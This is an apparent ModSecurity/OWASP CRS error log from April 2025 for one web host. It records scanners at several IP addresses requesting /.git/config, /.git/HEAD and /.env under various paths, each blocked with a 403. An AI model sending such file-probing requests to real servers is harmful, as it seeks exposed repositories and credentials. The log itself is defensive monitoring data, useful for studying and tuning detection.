[Thu Apr 03 10:32:51.996331 2025] [:error] [pid 2232064] [client 179.43.188.122:35406] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;Z-5Hs5PD7w9aYE3sdgKGpwAAAAc&quot;]
[Thu Apr 03 10:32:52.000014 2025] [:error] [pid 2225860] [client 179.43.188.122:41210] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;Z-5Hs42ek4pGUD-a5LdS9QAAAAA&quot;]
[Thu Apr 03 10:32:52.000215 2025] [:error] [pid 2225860] [client 179.43.188.122:41210] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;Z-5Hs42ek4pGUD-a5LdS9QAAAAA&quot;]
[Thu Apr 03 10:32:52.000361 2025] [:error] [pid 2225860] [client 179.43.188.122:41210] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;Z-5Hs42ek4pGUD-a5LdS9QAAAAA&quot;]
[Thu Apr 03 10:32:52.068736 2025] [:error] [pid 2225865] [client 179.43.188.122:35432] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /lib/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.git/config&quot;] [unique_id &quot;Z-5HtAMPUQy-dabMHTz_LQAAAAU&quot;]
[Thu Apr 03 10:32:52.068960 2025] [:error] [pid 2225865] [client 179.43.188.122:35432] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.git/config&quot;] [unique_id &quot;Z-5HtAMPUQy-dabMHTz_LQAAAAU&quot;]
[Thu Apr 03 10:32:52.069129 2025] [:error] [pid 2225865] [client 179.43.188.122:35432] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.git/config&quot;] [unique_id &quot;Z-5HtAMPUQy-dabMHTz_LQAAAAU&quot;]
[Thu Apr 03 10:32:52.079300 2025] [:error] [pid 2226227] [client 179.43.188.122:41216] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;Z-5HtHAgicyW8cXPpq5TFwAAAAY&quot;]
[Thu Apr 03 10:32:52.079550 2025] [:error] [pid 2226227] [client 179.43.188.122:41216] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;Z-5HtHAgicyW8cXPpq5TFwAAAAY&quot;]
[Thu Apr 03 10:32:52.079697 2025] [:error] [pid 2226227] [client 179.43.188.122:41216] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;Z-5HtHAgicyW8cXPpq5TFwAAAAY&quot;]
[Thu Apr 03 10:32:52.243707 2025] [:error] [pid 2225862] [client 179.43.188.122:35316] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /staging/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;Z-5HtChOaRic_LV-iEEITQAAAAI&quot;]
[Thu Apr 03 10:32:52.243934 2025] [:error] [pid 2225862] [client 179.43.188.122:35316] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;Z-5HtChOaRic_LV-iEEITQAAAAI&quot;]
[Thu Apr 03 10:32:52.244198 2025] [:error] [pid 2225862] [client 179.43.188.122:35316] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;Z-5HtChOaRic_LV-iEEITQAAAAI&quot;]
[Thu Apr 03 10:32:54.689507 2025] [:error] [pid 2232065] [client 179.43.188.122:41242] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /panel/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.git/config&quot;] [unique_id &quot;Z-5HtgCafeVT-9JQzsd2UwAAAAg&quot;]
[Thu Apr 03 10:32:54.689751 2025] [:error] [pid 2232065] [client 179.43.188.122:41242] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.git/config&quot;] [unique_id &quot;Z-5HtgCafeVT-9JQzsd2UwAAAAg&quot;]
[Thu Apr 03 10:32:54.689908 2025] [:error] [pid 2232065] [client 179.43.188.122:41242] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.git/config&quot;] [unique_id &quot;Z-5HtgCafeVT-9JQzsd2UwAAAAg&quot;]
[Sat Apr 05 11:11:59.779270 2025] [:error] [pid 2270269] [client 194.163.152.77:45768] [client 194.163.152.77] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z_Dz34ekNXxRXncrShKmAQAAAAM&quot;]
[Sat Apr 05 11:11:59.781187 2025] [:error] [pid 2270269] [client 194.163.152.77:45768] [client 194.163.152.77] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z_Dz34ekNXxRXncrShKmAQAAAAM&quot;]
[Sat Apr 05 11:11:59.781395 2025] [:error] [pid 2270269] [client 194.163.152.77:45768] [client 194.163.152.77] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z_Dz34ekNXxRXncrShKmAQAAAAM&quot;]
[Sat Apr 05 22:57:30.462492 2025] [:error] [pid 2279754] [client 194.163.152.77:52518] [client 194.163.152.77] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z_GZOjA6y7Yce_1SthBlKwAAAAo&quot;]
[Sat Apr 05 22:57:30.462774 2025] [:error] [pid 2279754] [client 194.163.152.77:52518] [client 194.163.152.77] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z_GZOjA6y7Yce_1SthBlKwAAAAo&quot;]
[Sat Apr 05 22:57:30.462960 2025] [:error] [pid 2279754] [client 194.163.152.77:52518] [client 194.163.152.77] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z_GZOjA6y7Yce_1SthBlKwAAAAo&quot;]
[Sun Apr 06 02:26:30.132905 2025] [:error] [pid 2289270] [client 194.163.152.77:50076] [client 194.163.152.77] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z_HKNgy26e_3d_DtvxQeVQAAAAQ&quot;]
[Sun Apr 06 02:26:30.133328 2025] [:error] [pid 2289270] [client 194.163.152.77:50076] [client 194.163.152.77] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z_HKNgy26e_3d_DtvxQeVQAAAAQ&quot;]
[Sun Apr 06 02:26:30.133528 2025] [:error] [pid 2289270] [client 194.163.152.77:50076] [client 194.163.152.77] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z_HKNgy26e_3d_DtvxQeVQAAAAQ&quot;]
[Thu Apr 17 14:28:34.552272 2025] [:error] [pid 2531526] [client 45.148.10.80:49740] [client 45.148.10.80] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aADz8jKJ7Z3VYrbUKLBIhAAAAAc&quot;]
[Thu Apr 17 14:28:34.553790 2025] [:error] [pid 2531526] [client 45.148.10.80:49740] [client 45.148.10.80] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aADz8jKJ7Z3VYrbUKLBIhAAAAAc&quot;]
[Thu Apr 17 14:28:34.553987 2025] [:error] [pid 2531526] [client 45.148.10.80:49740] [client 45.148.10.80] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aADz8jKJ7Z3VYrbUKLBIhAAAAAc&quot;]
[Fri Apr 18 00:54:34.608364 2025] [:error] [pid 2549453] [client 45.130.203.184:57359] [client 45.130.203.184] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aAGGqo9VBMmTUQf1uA4dcAAAAAA&quot;]
[Fri Apr 18 00:54:34.608656 2025] [:error] [pid 2549453] [client 45.130.203.184:57359] [client 45.130.203.184] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aAGGqo9VBMmTUQf1uA4dcAAAAAA&quot;]
[Fri Apr 18 00:54:34.608868 2025] [:error] [pid 2549453] [client 45.130.203.184:57359] [client 45.130.203.184] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aAGGqo9VBMmTUQf1uA4dcAAAAAA&quot;]
[Sun Apr 20 05:47:11.692765 2025] [:error] [pid 2599012] [client 45.130.203.230:58297] [client 45.130.203.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aARuP7kRSM_wWuOY-YzxKwAAAA4&quot;]
[Sun Apr 20 05:47:11.694282 2025] [:error] [pid 2599012] [client 45.130.203.230:58297] [client 45.130.203.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aARuP7kRSM_wWuOY-YzxKwAAAA4&quot;]
